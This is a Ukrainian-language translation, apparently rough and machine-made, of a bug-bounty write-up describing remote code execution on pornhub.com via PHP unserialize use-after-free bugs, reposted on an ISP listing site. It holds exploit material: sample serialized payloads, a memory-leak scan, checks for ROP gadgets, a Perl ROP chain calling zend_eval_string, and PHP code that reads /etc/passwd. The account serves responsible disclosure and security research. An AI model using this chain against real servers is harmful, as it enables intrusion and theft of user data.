• Главная
  • Карта сайта
Не найдено

Дві уразливості в PHP, злом Pornhub і винагороду 22.000 доларів

Основним завданням було заглибитися всередину системи настільки, наскільки це можливо і знайти уразливості, що дозволяють віддалено виконати код.

Автор: Руслан Хабаля

Передмова

Все почалося з аудиту сервісу Pornhub і пошуку вразливостей в PHP, після чого вдалося здійснити злом.

  • Ми змогли віддалено виконати код на сайті pornhub.com, відправили звіт через сервіс Hackerone і отримали винагороду 20.000 доларів.
  • Ми знайшли дві уразливості, пов'язані з використання звільненої пам'яті (use-after-free), в алгоритмі PHP, який призначений для збору сміття.
  • Обидві проломи можна експлуатувати віддалено через PHP-функцію unserialize.
  • Ми також отримали 2.000 доларів від комітету Internet Bug Bounty .

Подяки

Цей проект був реалізований силами Даріо Вейбера (Dario Weißer, @haxonaut ), cutz і Руслана Хабалова ( @evonide ). Висловлюємо особливу подяку cutz за допомогу в співавторстві даної статті.

Вступ

Нашу увагу привернула програма з пошуку дірок від сервісу Pornhub, опублікована в Hackerone , І відносно високий винагороду. Основним завданням було заглибитися всередину системи настільки, наскільки це можливо і знайти уразливості, що дозволяють віддалено виконати код. В процесі пошуку проломів в PHP, на якому працює Pornhub, були задіяні максимально можливі кошти.

виявлення уразливості

Після аналізу платформи ми виявили, що на веб-сайті використовується функція unserialize . Зокрема, дана функція використовувати при роботі з зображеннями і тому подібного:

  • http://www.pornhub.com/album_upload/create
  • http://www.pornhub.com/uploading/photo

У всіх випадках при отриманні даних з POST-запиту параметр «cookie» був несеріалізованним і згодом відбивався через заголовки Set-Cookie. Приклад запиту:
POST / album_upload / create HTTP / 1.1
...
tags = xyz & title = xyz ... & cookie = a: 1: {i: 0; i: 1337;}
Response Header:
Set-Cookie: 0 = 1337; expires

Цей факт згодом підтверджувався за допомогою відсилання спеціально сформованого масиву, що містить об'єкт:
tags = xyz & title = xyz ... & cookie = a: 1: {i: 0; O: 9: "Exception": 0: {}}
Відповідь на відісланий запит:
0 = exception 'Exception' in /path/to/a/file.php:1337
Stack trace:
# 0 /path/to/a/file.php(1337): unserialize ( 'a: 1: {i: 0; O: 9: "E ...')
# 1 {main}

На перший погляд, отримана інформація не представляє особливого інтересу, але в цілому широко відомо, що використання призначених для користувача вхідних даних у функції unserialize - погана затія. Як приклад можете ознайомитися з наступними статтями:

Стандартні техніки експлуатації подібних вразливостей вимагають використання так званого Property-Oriented-Programming (POP), який пов'язаний зі зловживанням вже існуючих класів зі спеціальними «магічними методами» для того, щоб виконати шкідливий код. У нашому випадку було досить складно отримати інформацію про будь-яких фреймворками і об'єктах в цілому, використовуваних в Pornhub. Було безуспішно протестовано безліч класів з найпоширеніших фреймворків.

опис уразливості

Головний десералізатор в PHP 5.6 щодо складний і містить понад 1200 рядків коду. Крім того, багато внутрішні PHP-класи мають власні методи, призначені для десеріалізациі. Через підтримку різних сутностей, включаючи об'єкти, масиви, цілі числа, рядки і навіть посилання, не дивно, що в PHP стільки вразливостей, пов'язаних з порушенням цілісності пам'яті. На жаль, інформація про подібні пролом для нових версій (PHP 5.6 або PHP 7) була відсутня, оскільки раніше до десеріалізациі вже була прикута особлива увага (див. phpcodz ). Таким чином, процес аудиту був схожий на вижимання вже добре вичавленого лимона. Після такої великої уваги до даної області і патчів, які виправляють потенційно вразливі місця, все повинно бути безпечно, чи не так?

Стрес-тест функції unserialize

Щоб з'ясувати, чи настільки все безпечно і безхмарно, Даріо написав спеціальний фаззер (засіб, що дозволяє автоматично тестувати код) для обробки серіалізовать рядків, переданих у функцію unserialize. Запуск фаззера в PHP 7 тут же привів до Недокументовані поведінки. Однак цей трюк не вдалося відтворити в Pornhum, і ми вирішили, що там використовується PHP 5.

При запуску фаззера на платформі PHP 5 ми отримали логи розміром більше 1 ТБ, але без будь-якого успіху. Подальше тестування змусило нас знову задуматися про раніше виявлене Недокументовані поведінці. Необхідно було відповісти на кілька запитань: ставилася ця проблема до сфери безпеки? Чи можна було експлуатувати цей пролом тільки локально або віддалено теж? Для додаткового ускладнення фаззер почав генерувати недруковані БЛОБ даних розміром більше 200 Кб.

Аналіз Недокументовані поведінки

Велика частина часу була потрібна для аналізу потенційних проблем. Зрештою, нам вдалося отримати концепцію робочої уразливості, пов'язаної з порушенням цілісності пам'яті - проломи типу use-after-free ! При подальшому дослідженні з'ясувалося, що причини криються в алгоритмі збору сміття, компоненті в PHP, який не має ніякого відношення до функції unserialize. Однак взаємодія обох компонентів виникало після того, як функція unserialize завершувала свою роботу, що не дуже підходить для віддаленої експлуатації. Подальший аналіз допоміг глибше зрозуміти проблему і знайти інші схожі уразливості, які були вже більш придатними для віддаленої експлуатації.

Посилання на описи проломів:

Оскільки уразливості і методи знаходження нетривіальні, виникла необхідність в написанні окремих статей. Більш детально по темі фаззінга функції unserialize Даріо написав окрему статтю .

Крім того, була написана стаття під назвою Breaking PHP's Garbage Collection and Unserialize .

експлуатація вразливостей

Незважаючи на те, що знайдені проломи типу use-after-free виглядали привабливо, методи експлуатації виявилися непростими, і весь процес поділено на кілька стадій. Оскільки головною метою було виконання довільного коду, необхідно було тим чи іншим чином скомпрометувати покажчик інструкції процесора під назвою RIP (на платформі x86_64). При вирішенні даного завдання виникають такі перешкоди:

  • Стек і купа (які також містять інформацію, введену користувачем), як і інші сегменти, мають прапор, який забороняє запис (див. Executable space protection ).
  • Навіть якщо ви зможете управляти покажчиком інструкції, необхідно знати, що виконувати. Тобто необхідно мати валідний адреса сегмента пам'яті, придатного для виконання. Для вирішення цього завдання найчастіше використовується функція system (з бібліотеки libc) для виконання shell-команда. У випадку з PHP найчастіше досить виконати функцію zend _ eval _ string, яка зазвичай викликається, якщо ви, наприклад, використовуєте конструкцію "eval ( 'echo тисячі триста тридцять сім;');" в PHP-скрипт. Тобто дана функція дозволяє виконати довільний PHP-код без задіяння інших бібліотек.

Перша проблема вирішується за допомогою зворотно-орієнтованого програмування (Return-oriented programming, ROP), де ви можете використовувати вже існуючі і виконувані ділянки пам'яті з бінарного файлу або бібліотек. Друга проблема вирішується пошуком правильного адреси функції zend _ eval _ string. Зазвичай при запуску динамічно лінкуватися програми завантажувач поміщає процес за адресою 0x400000, який є стандартним адресою завантаження на платформі x86_64. У разі якщо ви вже якимось чином отримали виконуваний файл інтерпретатора PHP (наприклад, знайшли пакет, зібраний на цільовій машині), то можете локально пошукати зміщення до будь-якої потрібної функції. Ми виявили, що в Pornhub використовується нестандартна версія php5-cgi, що ускладнює визначення версії PHP і отримання будь-якої іншої інформації про структуру пам'яті процесу інтерпретатора.

Отримання бінарного файлу PHP і необхідних покажчиків

Вразливостей типу use-after-free в PHP зазвичай експлуатуються по схожим правилам. Як тільки ви змогли заповнити звільнену пам'ять, яка згодом багаторазово використовується як внутрішня PHP-змінна (так звані zval'и), ви можете генерувати вектора, що дозволяють зчитувати інформацію з будь-якої ділянки пам'яті і виконувати код.

Підготовка до розкриття пам'яті

Як було згадано раніше, нам необхідно було отримати більше інформації щодо бінарного файлу PHP, який використовується в Pornhub. Таким чином, перший крок - використання уразливості use-after-free для інжектування zval'а, ​​що представляє PHP-рядок. Структура zval в PHP 5.6 виглядає наступним чином:

"Zend / zend.h"
[...]
struct _zval_struct {
zvalue_value value; / * Value * /
zend_uint refcount__gc;
zend_uchar type; / * Active type * /
zend_uchar is_ref__gc;
};

З огляду на те, що поле zvalue _ value визначено як union, фальсифікація і компрометації типів значно спрощується.

"Zend / zend.h"
[...]
typedef union _zvalue_value {
long lval; / * Long value * /
double dval; / * Double value * /
struct {
char * val;
int len;
} Str;
HashTable * ht; / * Hash table value * /
zend_object_value obj;
zend_ast * ast;
} Zvalue_value;

Строкова PHP-змінна відповідає zval з типом 6. Отже, тип union розглядається як структура, яка містить покажчик на перший символ і довжину поля. Таким чином, якщо ми змайструємо строкової zval з довільним покажчиком і довгою поля, то зможемо отримати потрібну інформацію в заголовку відповіді при відображенні функцією setcookie () инжектированного zval'а.

Пошук адреси завантаження інтерпретатора PHP (image base)

Зазвичай все починається з отримання бінарного файлу, який, як було сказано раніше, починається з адреси 0x400000. На жаль, на сервері Pornhub використовуються захисту на зразок PIE і ASLR , Рандомізують адреса завантаження процесу і поділюваних бібліотек. Подібна ситуація стає все більш поширеною, оскільки більшість пакетів поширюються з позиційно незалежним кодом. Тобто наступна задача - знайти коректну адресу завантаження бінарного файлу.

Перша складність - будь-яким чином отримати хоча б один коректну адресу, звідки можна почати копіювання бінарного файлу. І тут корисно попередньо ознайомитися з тим, як влаштована внутрішня пам'ять в PHP. Зокрема, при звільненні zval з пам'яті далі PHP перезаписує перші вісім байт адресою на попередню звільнену область даних. Таким чином, для того щоб отримати перший коректну адресу, нам потрібно створити цілочисельний zval, звільнити створений zval і потім використовувати висячий покажчик на цей zval для отримання поточного значення.

Оскільки в php-cgi використовується безліч процесів, відгалужених від головного процесу, схема пам'яті не змінюється між різними запитами за умови, що ми відсилаємо дані одного і того ж розміру. Ми можемо відсилати запит за запитом і кожен раз копіювати різні порції пам'яті за допомогою зміни початкового адреси підробленої рядки zval. Однак отримання адреси звільненій купи самого по собі не досить, щоб отримати будь-які зачіпки за місце розташування області виконання бінарного файлу. Подібне відбувається тому, що навколо звільненій області відсутня достатня кількість корисної інформації.

Для отримання потрібних нас адрес існує складна техніка, де використовується множинні звільнення і розміщення PHP-структур під час процесу десеріалізациі (див. Презентацію ROP in PHP applications , Слайд 67). Через специфіку нашого випадку і бажання спростити завдання настільки, наскільки можливо, ми вирішили піти іншим шляхом.

За допомогою серіалізовані рядки на кшталт «i: 0; a: 0: {} i: 0; a: 0: {} [...] i: 0; a: 0: {}» як частини кінцевої несеріалізованной корисного навантаження ми можемо скористатися функцією unserialize для створення безлічі порожніх масивів і згодом звільнити створені об'єкти після завершення роботи unserialize. При ініціалізації масиву PHP послідовно виділяє пам'ять для zval і hashtable. Одна стандартна запис в hashtable для порожніх масивів - символ uninitialized _ bucket. У підсумку ми змогли отримати фрагмент пам'яті, який виглядає приблизно так:

0x7ffff7fc2fe0: 0x0000000000000000 0x0000000000eae040
[...]
0x7ffff7fc3010: 0x00007ffff7fc2b40 0x0000000000000000
0x7ffff7fc3020: 0x0000000100000000 0x0000000000000000
0x7ffff7fc3030: # <--------- This address was leaked in a previous request.
0x7ffff7fc3040: 0x00007ffff7fc2f48 0x0000000000000000
0x7ffff7fc3050: 0x0000000000000000 0x0000000000000000
[...]
0x7ffff7fc30a0: 0x0000000000eae040 0x00000000006d5820
(Gdb) x / xg 0x0000000000eae040
0xeae040 <uninitialized_bucket>: 0x0000000000000000

0xeae040 - адреса символу uninitialized_bucket і в той же час прямої покажчик на BSS-сегмент . Ви можете бачити, що подібне відбувається кілька разів по сусідству з останньої звільненій областю. Як було сказано раніше, багато порожні масиви були звільнені. Таким чином, користуючись тим, що деякі записи hashtable залишаються незмінними всередині купи, ми змогли отримати цей спеціальний символ. І, нарешті, нам вдалося виконати постраничное зворотне сканування, починаючи з адреси символу uninitialized _ bucket, для знаходження заголовка ELF .

$ Start & = 0xfffffffffffff000;
$ Pages + = 0x1000 while leak ($ ​​start - $ pages, 4)! ~ / ^ \ X7fELF /;
return $ start - $ pages;

Отримання цікавих сегментів бінарного файлу PHP

На даний момент ситуація ускладнюється тим, що ми навчилися отримувати лише 1 КБ даних в один запит (через обмеження розміру заголовка на сервері Pornhub). Бінарний файл PHP може займати до 30 МБ. Якщо виконувати один запит в секунду, то час отримання повного файлу може займати до 8 годин 20 хвилин. Оскільки ми боялися, що процес експлуатації уразливості може бути перерваний у будь-який момент, необхідно було діяти якомога швидше і непомітніше. Нам треба було реалізувати евристичні алгоритми для завчасної фільтрації цікавих секцій. Проте, ми могли розкласти будь-яку структуру, на яку було посилання всередині ELF-рядки і таблиці символів. Існують інші техніки на зразок ret2dlresolve , Що дозволяють припустити весь процес отримання, але в нашому випадку дані методи були не зовсім підходящими, оскільки вимагали створення додаткових структур даних і знання щодо різних ділянок пам'яті.

Щоб отримати адресу функції zend _ eval _ string, спочатку необхідно знайти програмні заголовки формату ELF, які знаходяться по зсуву 32. Потім потрібно просканувати вперед до тих пір, поки не знайдеться програмний заголовок з типом 2 (PT _ DYNAMIC), для того, щоб отримати динамічну секцію ELF. Дана секція містить посилання на рядок і таблицю символів (тип 5 і 6), які ви можете повністю вивантажити, використовуючи розмір поля разом з будь-якою функцією, чий віртуальний адреса ви бажаєте отримати. Крім того, ви також можете використовувати hashtable (DT _ HASH) для більш швидкого знаходження функцій, але цей метод вже не настільки цікавий, оскільки ви можете працювати з таблицями локально. У доповненні до функції zend _ eval _ string нам цікаві символи і місцезнаходження POST -змінного (оскільки передбачається, що ці змінні далі будуть використовуватися в якості ROP -стека).

Отримання адреси POST -Даний

Щоб отримати адресу переданих POST-даних, необхідно знайти покажчики з допомогою такої ланцюжка:

(* (* (Php_stream_temp_data) (sapi_globals.request_info.request_body.abstract)). Innerstream) .readbuf

Прохід вищевказаної ланцюжка виглядає досить складним, але насправді після разименованія кілька покажчиків з правильним зміщенням ми швидко знайдемо потік stdin: //, який вказує на POST-дані всередині купи.

Підготовка корисного навантаження для ROP

Друга частина пов'язана з отриманням управління над процесом PHP і перехопленням потоку виконання коду. Для вирішення цього завдання спочатку необхідно розібратися, як модифікувати покажчик інструкції.

Перехоплення покажчика інструкції

Ми додали в нашу корисне навантаження фальшивий об'єкт (замість раніше використаної рядки zval) з покажчиком на спеціально сформовану таблицю zend _ object _ handlers. По суті, дана таблиця являє собою масив покажчиків на функції, визначення структури якої можна знайти тут:

"Zend / zend_object_handlers.h"
[...]
struct _zend_object_handlers {
zend_object_add_ref_t add_ref;
[...]
};
При створенні подібної фальшивої таблиці zend _ object _ handlers, необхідно встановити параметр add _ ref. Функція, що стоїть за даними покажчиком, управляє збільшенням лічильника посилань об'єкта. Після створення підробленого об'єкта і передачі цього об'єкта в якості параметра в функцію «setcookie» відбудеться наступне:

# 0 _zval_copy_ctor
# 1 0x0000000000881d01 in parse_arg_object_to_string
[...]
# 5 0x00000000008845ca in zend_parse_parameters (num_args = 2, type_spec = 0xd24e46 "s | slssbb")
# 6 0x0000000000748ad5 in zif_setcookie
[...]
# 14 0x000000000093e492 in main

У setcookie повинен бути хоча б один обов'язковий параметр. Ми передаємо наш об'єкт в якості другого (необов'язкового) параметра, який функція буде намагатися перетворити в рядок. Потім виконується функція zval_copy_ctor:

"Zend / zend_variables.c"
[...]
ZEND_API void _zval_copy_ctor_func (zval * zvalue ZEND_FILE_LINE_DC)
{
[...]
case IS_OBJECT:
{
TSRMLS_FETCH ();
Z_OBJ_HT_P (zvalue) -> add_ref (zvalue TSRMLS_CC);
[...]
}

Тут відбувається виклик функції, на яку вказує add _ ref, разом з адресою нашого об'єкта, який використовується в якості параметра (детальніше див. PHP Internals Book - Copying zvals ). Відповідний асемблерний код виглядає так:

<_Zval_copy_ctor_func + 288>: mov 0x8 (% rdi),% rax
<_Zval_copy_ctor_func + 292>: callq * (% rax)

У коді, наведеному вище, RDI виступає в якості першого аргументу у функції _ zval _ copy _ ctor _ func і в той же час є адресою на наш підроблений об'єкт zval (або zvalue в вихідному коді вище). Всередині визначення _ zvalue _ value (див. Вище) є елемент obj з типом zend _ object _ value, який визначений так:

"Zend / zend_types.h"
[...]
typedef struct _zend_object_value {
zend_object_handle handle;
const zend_object_handlers * handlers;
} Zend_object_value;

Отже, 0x8 (% rdi) буде вказувати на другий запис всередині _ zend _ object _ value, яка відповідає адресі першого запису всередині zend _ object _ handlers. Як було згадано раніше, даний запис являє собою функцію, на яку вказує add _ ref, що також пояснює, навіщо ми безпосередньо управляємо регістром RAX.

Щоб обійті проблему, пов'язану з невіконуюча пам'яттю, нам треба Було зібраті Додатковий інформацію. Зокрема, потрібно було зібрати корисні гаджети та підготувати підміну стека (stack pivoting) для ROP-ланцюга, оскільки на той момент стік не був під нашим контролем.

Пошук ROP-гаджетів

На даний момент ми можемо встановити параметр add _ ref (або, відповідно, регістр RAX) для контролю над покажчиком інструкції. Хоча цей факт закладає хорошу основу, але не гарантує запуску всіх ROP -гаджетов, оскільки після виконання першого гаджета процесор бере з поточного стека адресу наступної інструкції. Оскільки ми не контролюємо стек в достатній мірі, необхідна заміна стека на нашу ROP -ланцюг. Таким чином, наступний крок - копіювання RAX в RSP і подальше виконання ROP -ланцюга звідти. Використовуючи локально скомпільовану версію PHP, ми пошукали гаджети, які підходять для підміни стека, і виявили, що функція hp _ stream _ bucket _ split містить наступну ділянку коду:

<php_stream_bucket_split + 381>: push% rax # <------------
<php_stream_bucket_split + 382>: sub $ 0x31,% al
<php_stream_bucket_split + 384>: rcrb $ 0x41,0x5d (% rbx)
<php_stream_bucket_split + 388>: pop% rsp # <------------
<php_stream_bucket_split + 389>: pop% r13
<php_stream_bucket_split + 391>: pop% r14
<php_stream_bucket_split + 393>: retq

Вищевказаний код прекрасно підійшов для модифікації RSP і вказівки на наші POST-дані з ROP-ланцюгом, ефективно поєднуючи всі інші виклики гаджетів.

Відповідно до угоди про виклики платформи x86_64, перші два параметра функції - RDI і RSI, і ми, відповідно, повинні знайти гаджети pop% rdi і pop% rsi. Дані гаджети досить поширені і легко знаходяться. Хоча ми ще не знаємо, чи присутні ці гаджети в версії PHP, використовуваної в сервісі Pornhub. Відповідно, потрібно було перевірити присутність цих гаджетів вручну.

Перевірка наявності потрібних ROP-гаджетів

Функція leak допомогла швидко вивантажити дизасемблювати версію функції php _ stream _ bucket _ split і перевірити присутність потрібних гаджетів у версії PHP на сервері Pornhub. В кінцевому підсумку було потрібно лише невелика модифікація зсувів, і ми з'ясували, що всі адреси коректні:

my $ pivot = leak ($ ​​php_base + 0x51a71f, 13);
my $ poprdi = leak ($ ​​php_base + 0x2b904e, 2);
my $ poprsi = leak ($ ​​php_base + 0x50ee0c, 2);
die '[!] pivot gadget doesnt seem to be right', $ /
unless ($ pivot eq "\ x50 \ x2c \ x31 \ xc0 \ x5b \ x5d \ x41 \ x5c \ x41 \ x5d \ x41 \ x5e \ xc3");
die '[!] poprdi gadget doesnt seem to be right', $ /
unless ($ poprdi eq "\ x5f \ xc3");
die '[!] poprsi gadget doesnt seem to be right', $ /
unless ($ poprsi eq "\ x5e \ xc3");

Формування ROP-стека

Кінцева корисне навантаження на базі ROP, що виконує код zend _ eval _ string (code); exit (0) ;, схожа на сниппет, показаний нижче:

my $ rop = "";
$ Rop. = Pack ( 'Q', $ php_base + 0x51a71f); # Pivot rsp
$ Rop. = Pack ( 'Q', 0xdeadbeef); # junk
$ Rop. = Pack ( 'Q', $ php_base + 0x2b904e); # Pop rdi
$ Rop. = Pack ( 'Q', $ post_addr + length ($ rop) + 8 * 7); # Pointing to $ php_code
$ Rop. = Pack ( 'Q', $ php_base + 0x50ee0c); # Pop rsi
$ Rop. = Pack ( 'Q', 0); # retval_ptr
$ Rop. = Pack ( 'Q', $ zend_eval_string); # zend_eval_string
$ Rop. = Pack ( 'Q', $ php_base + 0x2b904e); # Pop rdi
$ Rop. = Pack ( 'Q', 0); # Exit code
$ Rop. = Pack ( 'Q', $ exit); # exit
$ Rop. = $ Php_code. "\ X00";

Оскільки всередині підміненого стека є інструкції pop% r 13 і pop% r 14, в що залишилася ланцюга необхідно доповнення (padding) 0 xdeadbeef для продовження налаштування регістру RDI. В якості першого параметра у функції zend _ eval _ string RDI вимагає посилання на код, який буде виконуватися. Даний код знаходиться відразу ж після ROP -ланцюга. Крім того, потрібно відсилання однакових обсягів даних між кожним запитом так, щоб всі обчислені зміщення залишалися коректними. Дане завдання вирішується за допомогою використання різних доповнень там, де це необхідно.

Наступний крок - виконати код, повернувшись назад в інтерпретатор PHP. Решта техніки (на зразок return2libc) цілком можна застосувати, але створюють додаткові проблеми, які легше вирішити, залишаючись в контексті інтерпретатора PHP.

Повернення в інтерпретатор PHP

Запустити довільний PHP-код - важливий крок, але отримання результатів роботи коду - не менш важливе завдання, якщо тільки ви не хочете користуватися сторонніми каналами для отримання відповідей. Таким чином, нам залишилося вивести результати роботи коду на сайті Pornhub.

Коректне завершення інтерпретатора PHP

Зазвичай php-cgi перенаправляє згенерований контент назад на веб-сервер для відображення на веб-сайті. Однак в нашому випадку відбувається переривання потоку виконання, що призводить до ненормального завершення роботи інтерпретатора PHP, і, як наслідок, і результати відпрацювання коду ніколи не потраплять на HTTP-сервер. Щоб вирішити цю проблему, ми просто скористаємося небуферізованних відповідями, які зазвичай використовуються при потокової передачі по протоколу HTTP.

my $ php_code = 'eval (\'
header ( "X-Accel-Buffering: no");
header ( "Content-Encoding: none");
header ( "Connection: close");
error_reporting (0);
echo file_get_contents ( "/ etc / passwd");
ob_end_flush ();
ob_flush ();
flush ();
\ ');';

Даний трюк допоможемо нам безпосередньо отримувати результати роботи корисного навантаження без необхідності очищення, яка зазвичай використовується, коли процес CGI відсилає дані на веб-сервер. Крім того, ми збільшуємо непомітність за допомогою зменшення кількості потенційних помилок і падінь.

Підводімо Підсумки. Наша корисне навантаження містить фальшивий об'єкт з покажчиком add _ ref на перший ROP-гаджет. На діаграмі нижче показана вся концепція:


Малюнок 1: Структурна схема корисного навантаження

Кінцева версія об'єкта zval

Разом з ROP-стеком, переданим за допомогою POST-даних, наша корисне навантаження робить наступне:

  • Створює підроблений об'єкт, який згодом передається в якості параметра функції «setcookie».
  • Викликає функцію за вказівником add _ ref, що дає нам контроль над програмним лічильником.
  • ROP -ланцюг готує все регістри / параметри, згадані раніше.
  • Виконується довільний PHP-код за допомогою виклику zend _ eval _ string.
  • Ініціюється коректне завершення інтерпретатора, і зчитуються результати роботи коду з тіла відповіді.

Після запуску коду, наведеного вище, було отримано вміст файлу '/ etc / passwd' з сервера Pornhub. Схема атаки також дозволяє виконувати інші команди і вдаватися в потік PHP-коду для запуску системних викликів. Однак користуватися чистим PHP набагато зручніше. В кінці ми отримали деякі деталі про систему і тут же відіслали звіт в Pornhub через сервіс Hackerone.

Хронологія подій

Нижче подано хронологію всіх подій, що мають відношення до пошуку вразливостей і злому Pornhub:

  • 30 травня 2016 року: Злом сервера Pornhub і відправка звіту про проблему через сервіс Hackerone. Через кілька годин видалені виклики функції unserialize, і проблема усунена.
  • 14 червня 2016 року: Отримано нагорода в розмірі 20.000 доларів.
  • 16 червня 2016 року: Відправлений звіт про проблеми на bugs.php.net.
  • 21 червня 2016 року: Усунення обох помилок в репозиторії безпеки PHP.
  • 27 червня 2016 року: Отримання нагороди Hackerone IBB в розмірі 2.000 доларів (по тисячі за кожну уразливість).
  • 22 липня 2016 року: Pornhub позначив звіт як вирішене в сервісі Hackerone.

Висновок

Нам вдалося віддалено виконати код, що відкриває такі можливості:

  • Вивантаження всі бази даних сайту pornhub.com, включаючи всю конфіденційну інформацію про користувачів.
  • Відстеження поведінку користувачів на платформі.
  • Отримання всіх вихідних текстів всіх сайтів, що знаходяться на сервері.
  • Проникнення в мережу або отримання прав суперкористувача.

Природно, ми не стали робити нічого з того, про що згадано в списку вище. Ми дуже уважно і обережно поставилися до мети і обмежень, прописаним в програмі по знаходженню вразливостей. Нам вдалося знайти дві дірки нульового дня в алгоритмі для збору сміття в інтерпретаторі PHP. Дані уразливості, хоча і знаходили в зовсім іншому контексті, могли б віддалено експлуатуватися в контексті функції unserialize.
Добре відомо, що використання призначених для користувача даних в функції unserialize - погана затія. З моменту знаходження першої подібної уразливості пройшло вже близько 10 років, але навіть сьогодні багато розробників вважають, що використовувати unserialize небезпечно тільки в старих версіях PHP або в поєднанні з небезпечними класами. Ми дуже сподіваємося, що приклад з даної статті спростує дане переконання. Рекомендуємо повісити функцію unserialize на цвях так, щоб вищезазначена мантра стала неактуальною.

Ніколи не використовуйте для користувача дані разом з функцією unserialize. Думати, що в нових версіях PHP такої проблеми не існує, - погана ідея. Або уникайте повністю цієї функції, або використовуйте менш складні методи серіалізації (наприклад, JSON).

Нові версії PHP вже виправлені, і вам слід оновити і PHP 5 і PHP 7.

Висловлюємо подяки колективу Pornhub:

  • За дуже ввічливі і компетентні відповіді.
  • За реальну турботу про безпеку (а не просто формальний підхід до проблеми, як це роблять багато інших компаній).
  • За щедру винагороду за фактом знайдених вразливостей (20.000 доларів). Згідно останнім оновленням в звітах Sinthetic Labs's Public Hackerone Reports , Винагорода за наші знахідки, опубліковані через сервіс Hackerone, одне з найвищих.

Крім того, висловлюємо подяки розробникам інтерпретатора PHP за швидке виправлення вразливостей і комітет Internet Bug Bounty за додаткову винагороду в розмірі 2.000 доларів.

І, нарешті, ми хочемо підкреслити важливість подібних програм. Як ви могли переконатися, висока нагорода мотивує фахівців з безпеки до пошуку нових вразливостей, що також благотворно впливає на інші сайти і сервіси.

Не забудьте ознайомитися з двома іншими нашими статтями, де описується процес знаходження проломів в PHP.

Після такої великої уваги до даної області і патчів, які виправляють потенційно вразливі місця, все повинно бути безпечно, чи не так?
Необхідно було відповісти на кілька запитань: ставилася ця проблема до сфери безпеки?
Чи можна було експлуатувати цей пролом тільки локально або віддалено теж?
Провайдеры:
  • 08.09.2015

    Batyevka.NET предоставляет услуги доступа к сети Интернет на территории Соломенского района г. Киева.Наша миссия —... 
    Читать полностью

  • 08.09.2015
    IPNET

    Компания IPNET — это крупнейший оператор и технологический лидер на рынке телекоммуникаций Киева. Мы предоставляем... 
    Читать полностью

  • 08.09.2015
    Boryspil.Net

    Интернет-провайдер «Boryspil.net» начал свою работу в 2008 году и на данный момент является одним из крупнейших поставщиков... 
    Читать полностью

  • 08.09.2015
    4OKNET

    Наша компания работает в сфере телекоммуникационных услуг, а именно — предоставлении доступа в сеть интернет.Уже... 
    Читать полностью

  • 08.09.2015
    Телегруп

    ДП «Телегруп-Украина» – IT-компания с 15-летним опытом работы на рынке телекоммуникационных услуг, а также официальный... 
    Читать полностью

  • 08.09.2015
    Софтлинк

    Высокая скоростьМы являемся участником Украинского центра обмена трафиком (UA — IX) с включением 10 Гбит / сек... 
    Читать полностью